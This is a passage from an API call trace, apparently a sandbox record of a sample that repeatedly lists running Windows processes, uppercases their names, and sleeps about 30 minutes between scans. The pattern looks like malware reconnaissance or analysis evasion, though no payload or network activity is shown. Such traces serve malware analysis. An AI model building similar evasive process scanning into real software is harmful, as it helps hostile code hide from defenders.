lpString1="nice cu.exe") returned="nice cu.exe" [0271.878] lstrlenW (lpString="nice cu.exe") returned 11 [0271.878] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0271.878] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0271.878] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0271.878] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0271.879] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0271.879] lstrlenW (lpString="video_reviewing.exe") returned 19 [0271.879] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0271.879] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0271.879] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0271.879] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0271.880] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0271.880] lstrlenW (lpString="shame.exe") returned 9 [0271.880] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0271.880] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0271.880] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0271.880] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0271.880] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0271.880] lstrlenW (lpString="fantasy.exe") returned 11 [0271.880] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0271.880] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0271.880] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0271.880] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0271.881] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0271.881] lstrlenW (lpString="accepting.exe") returned 13 [0271.881] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0271.881] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0271.881] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0271.881] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0271.882] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0271.882] lstrlenW (lpString="authorized.exe") returned 14 [0271.882] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0271.882] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0271.882] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0271.882] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0271.882] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0271.882] lstrlenW (lpString="isp.exe") returned 7 [0271.882] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0271.882] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0271.882] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0271.882] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0271.883] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0271.883] lstrlenW (lpString="cowboy.exe") returned 10 [0271.883] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0271.883] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0271.883] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0271.883] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0271.884] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0271.884] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0271.884] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0271.884] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0271.884] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0271.884] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0271.884] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0271.884] lstrlenW (lpString="thats.exe") returned 9 [0271.884] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0271.884] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0271.885] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0271.885] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0271.885] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0271.885] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0271.885] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0271.885] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0271.885] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0271.885] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0271.886] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0271.886] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0271.886] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0271.886] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0271.886] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0271.886] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0271.887] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0271.887] lstrlenW (lpString="actual.exe") returned 10 [0271.887] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0271.887] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0271.887] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0271.887] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0271.887] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0271.887] lstrlenW (lpString="potter larry.exe") returned 16 [0271.887] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0271.887] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0271.887] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0271.887] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0271.888] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0271.888] lstrlenW (lpString="contents what certificate.exe") returned 29 [0271.888] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0271.888] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0271.888] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0271.888] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0271.889] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0271.889] lstrlenW (lpString="cindy.exe") returned 9 [0271.889] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0271.889] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0271.889] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0271.889] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0271.889] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0271.889] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0271.889] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0271.889] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0271.889] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0271.889] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0271.890] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0271.890] lstrlenW (lpString="unusual.exe") returned 11 [0271.890] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0271.890] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0271.890] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0271.890] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0271.891] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0271.891] lstrlenW (lpString="pacific.exe") returned 11 [0271.891] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0271.891] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0271.891] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0271.891] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0271.891] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0271.891] lstrlenW (lpString="phantom.exe") returned 11 [0271.891] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0271.891] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0271.892] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0271.892] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.892] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0271.892] lstrlenW (lpString="audiodg.exe") returned 11 [0271.892] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0271.892] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0271.892] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0271.892] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0271.893] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0271.893] lstrlenW (lpString="SCN0tification.exe") returned 18 [0271.893] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0271.893] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0271.893] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0271.893] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.894] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.894] lstrlenW (lpString="svchost.exe") returned 11 [0271.894] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.894] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.894] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.894] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.894] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0271.894] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0271.894] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0271.894] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0271.894] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0271.894] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0271.895] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0271.895] lstrlenW (lpString="taskeng.exe") returned 11 [0271.895] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0271.895] PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0271.895] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0271.895] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0271.896] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0271.896] lstrlenW (lpString="taskeng.exe") returned 11 [0271.896] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0271.896] PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0271.896] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0271.896] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xe84, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0271.896] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeC2RClient.exe" | out: lpString1="OfficeC2RClient.exe") returned="OfficeC2RClient.exe" [0271.896] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0271.896] CharUpperBuffW (in: lpsz="OfficeC2RClient.exe", cchLength=0x13 | out: lpsz="OFFICEC2RCLIENT.EXE") returned 0x13 [0271.896] PathFindFileNameW (pszPath="OFFICEC2RCLIENT.EXE") returned="OFFICEC2RCLIENT.EXE" [0271.897] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICEC2RCLIENT.EXE" | out: lpString1="OFFICEC2RCLIENT.EXE") returned="OFFICEC2RCLIENT.EXE" [0271.897] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xe84, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0271.897] CloseHandle (hObject=0x2c4) returned 1 [0271.897] Sleep (dwMilliseconds=0x1b7740) [0282.080] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0282.082] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.083] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0282.083] lstrlenW (lpString="[System Process]") returned 16 [0282.083] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0282.083] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0282.083] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0282.083] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.084] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0282.084] lstrlenW (lpString="System") returned 6 [0282.084] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0282.084] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0282.084] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0282.084] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.084] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0282.084] lstrlenW (lpString="smss.exe") returned 8 [0282.084] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0282.084] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0282.084] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0282.085] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.085] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0282.085] lstrlenW (lpString="csrss.exe") returned 9 [0282.085] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0282.085] PathFindFileNameW (pszPath="CSRSS.EXE") 